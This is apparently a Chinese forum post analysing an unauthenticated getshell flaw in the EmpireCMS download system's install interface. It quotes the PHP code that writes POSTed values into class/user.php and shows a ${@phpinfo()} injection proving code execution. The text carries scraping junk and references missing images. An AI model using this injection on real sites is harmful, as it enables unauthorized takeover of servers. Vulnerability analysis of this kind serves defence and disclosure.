这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们7 F9 X2 p; K- x F: m6 ~5 p R$ E
$ A7 N1 N& N6 ]: n4 G
) u4 t" s k5 F; u: u/ x1 I
这是帝国的一套下载系统 如图! Z- `" U% Z0 J% E0 \) N9 |
ps(不需要任何账户和密码,直接写shell)
* D4 B: q* x7 F ]由于很多站是由于下载要整合discuz 等等一些论坛....
" R2 x' J( E, t4 H( u; p- O& F
+ W+ Y/ t! @5 V" _( {/ }0 L而帝国他又有一个万能接口,如图
+ n7 h% g. T: K% x: \% |' h" u% `3 X" o( W- z4 |
& C+ C6 g+ i6 Y0 h8 s, ?; o( C/ v而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码3 U/ m% t& Z7 |- f4 c
+ B) ?% @/ ?( Q+ `, ]2 C
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪! {# l# H* [) D2 S# p3 y
$ Q7 c& N' q2 k, B# U在data/fun.php中的15行9 j9 f& _+ [/ K# [
& ?* R: |+ S% b( j) g% S1 { F
我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {6 w0 J) t; s% F3 ^: D z1 @
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干$ x7 |# z# B3 n; b1 K# }: `- Z
0 h' n4 w8 ~! m. W# N
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
- N( C& i. ]% W+ [" f
8 L: b8 j# k/ a* M# n他将传进来的变量进行了切割,然后赋给了$filetext7 q* c! o% z6 @& O2 \
% C- j0 k d* a* N. \1 M: [2 u7 f" K! x然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了 E1 m" f$ p, G) f( ^+ v
* F( ?+ H' a4 s3 |2 l# y$ V我们看看写入的结果,随便填一个 " }. w9 \: g, p+ @! I
) ~3 X( Z+ t7 I# m
* e! p* ]6 @$ T. {+ C `
' w& \, u- Q% N# L4 B- e9 l$ w" J" }' ^, G
! s- q8 a; }# Q, w O
' i# i8 X' k# k9 m( ]: F- b& j# }: i' W& i( q: _- A
8 y. Q+ a* g% \0 T4 D
" R7 {/ U- T5 ?- W; T) L# G- J' i Q& C" @7 D0 O! N
* |* s/ x. @9 j& V% {3 t5 S2 p
/ N; q0 T" ^7 {8 W- |
( B9 M5 ]6 J* |' B) T# O$ \
6 C% S- i0 M% [3 H5 F
8 k0 G# g. e; ~! D; s y
" u& e, o$ p) D% f% m v6 u5 o
, l# V, c9 u+ w
7 @ m( d. _' d! Z, m- j$ c6 m+ o: V5 k2 z0 K8 `4 `6 o9 k! j; ?# |* B
@5 o% C0 {- T/ d/ x8 Z+ P! h/ }; D- m& ?' e) C3 b/ E! S3 O
所以我们淫荡点,写个${@phpinfo()}试试 ) ?2 u8 T! Z. Y
然后访问以下class/user.php这个文件
& k6 t: N& @8 i9 m& C日了吧
: A6 d1 j5 J# b# T: d X$ \- i* M2 i+ N& Q5 D
( c. ~" X! r& [
6 o' n! m* F5 L6 A8 m5 K: S- v: A3 k- E" p2 U( R: A
. { N2 k' y' A- W |